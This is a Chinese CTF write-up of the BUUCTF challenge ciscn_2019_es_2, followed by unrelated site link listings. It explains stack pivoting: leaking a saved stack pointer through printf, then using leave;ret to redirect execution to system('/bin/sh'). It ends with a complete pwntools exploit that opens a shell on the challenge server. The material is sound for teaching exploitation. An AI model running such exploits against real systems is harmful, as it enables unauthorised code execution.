BUUCTF刷题之路--ciscn_2019_es_21

这题考察的是一个栈迁移的知识。作为入门学习栈迁移是个不可多得的好题。程序简单并且是32位的架构。保护也没有开,因此对于理解栈迁移再好不过了。看一下这题的基本信息:


栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址,更加不可能构造rop。因此需要迁移到空间足够大的地方去构造rop。因此我们需要能够控制ebp(64位rbp)。在汇编中,leave这个汇编指令就成为了我们的利用目标。当执行leave的时候计算机会执行两个步骤:

1.mov esp,ebp

2.pop ebp

还有就是ret指令,它将会执行如下操作:

1.pop eip

这两个指令配合着使用,能做到控制执行流并完成栈迁移。下面我们来看下IDA中的程序执行流程:


主函数会去调用vul()函数,vul函数的伪代码如下:


我们看到程序中会有一个数组s,大小是40个字节。memset函数是将s数组开始的0x20大小的空间填充成0。接着就是用户输入,大小是0x30。我们可以看到s数组在ebp-0x28的位置,但是我们最高只能输入0x30。因此我们连返回地址(ebp+4)的位置我们都够不着。更别说构造rop了。因此我们自然而然的能联想到栈迁移。我们还发现程序中有个类似后门的函数:


但是参数是错误的。并不能用。(我个人感觉这个后门是用来迷惑人的)现在我们纯手工去调试下源程序:


这里调用了第一个read函数,我输入了10个a。我们观察下栈的布局:


我们看到数组s的起始位置是ecx的值传递的。ebp中的值是一个栈上的值(old_ebp),这个值对于我们栈迁移是有用的。因此我们需要将他泄露出来。 Printf函数就是我们的利用点。他输出的时候会去找\0。如果没找到就一直输出。因此我们可以把栈上填满,然后在Printf的时候,不仅会把我们写的内容打印出来还会把栈上的东西也给打印出来:


我们可以看到在B后面连带着栈上的内容给输出了。因此我们只需要接收我们需要的部分:


讲解完如何泄露这个old_ebp。我们需要明白这个值是干嘛用的。因此再次进入调试中:


程序中,这个数组s会被用到两次(2次read函数)。也就是说这个栈空间会被再次利用。既然第一次利用空间不够,那么我们何不把这个栈扩大也就是用整一个s数组的空间来构造rop呢。画个图来解释下这个思想:




我们看到第二次我们已经将写好的payload布局在栈上了。我们泄露的地址的作用是用来诱导esp指向我们的数组s开始的位置。调试一下就会看的很清晰:


当程序走到leave的时候,我们观察此时的栈布局:


此时执行leave,这个时候ebp将会在esp的上面:


此时我们还需要一个leave,和ret的组合让栈恢复成正常的样子,因此此时esp指向的就是我们填入的0x80484b8(指向leave,ret的组合)继续跟下去:


再次执行leave:


我们看到此时esp已经指向了我们的system地址了。接着执行ret就会劫持执行流。下面的是system的参数,因为我们不能直接调用bin/sh字符串,因此我们布局的时候,需要传地址。因此才会如此布局。整个栈迁移的过程就完成了。下面是exp:

python 复制代码
from pwn import *

context.arch = 'i386'
#context.log_level = 'debug'

#io=process("./ciscn_2019_es_2")

io=remote('node4.buuoj.cn',28832)

#gdb.attach(io)
payload1 = b'A' * (0x27) + b'B'

io.send(payload1)


io.recvuntil("B")


old_ebp = u32(io.recv(4))
print(hex(old_ebp))

#pause()

system_addr = 0x08048400
leave_ret = 0x080484b8

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(old_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
 
payload2 += p32(old_ebp - 0x38) 
payload2 += p32(leave_ret) 
 
io.sendline(payload2)

#pause()

io.interactive()

相关推荐
Scott9999HH2 小时前
【IIoT流量实战】蒸汽管道阀门全关却仍有流量?用 Python 实现涡街信号 FFT 频谱分析与温压全补偿积算网关,深度拆解靠谱的涡街流量计厂家硬核技术标准
开发语言·python
腻害兔2 小时前
【若依项目-产品经理视角】深度拆解 RuoYi-Vue-Pro 商城模块:从商品管理到交易引擎,50 张表撑起一整套电商系统
java·大数据·vue.js·产品经理·ai编程
码智社3 小时前
AES加密原理详解及Java实现加解密实战
java·开发语言
AI云海3 小时前
python 列表、元组、集合和字典
开发语言·python
萧瑟余晖4 小时前
JDK 26 新特性详解
java·开发语言
马优晨5 小时前
Freemarker 完整讲解(后端 Java 模板引擎)
java·开发语言·freemarker·freemarker 完整讲解·freemarker模板引擎
人邮异步社区7 小时前
怎么把C语言学到精通?
c语言·开发语言
心平气和量大福大7 小时前
C#-WPF-控件-TextBox 数据绑定
开发语言·c#·wpf
ttwuai7 小时前
Cursor 生成 CRUD 后,Go 后台接口别只测 200:JWT、RBAC 和 tenant_id 怎么验
开发语言·后端·golang
维天说7 小时前
CLI-Switch 2026年3月版历史设计:Hook、TTY 隔离与 JSON 状态
java·服务器·json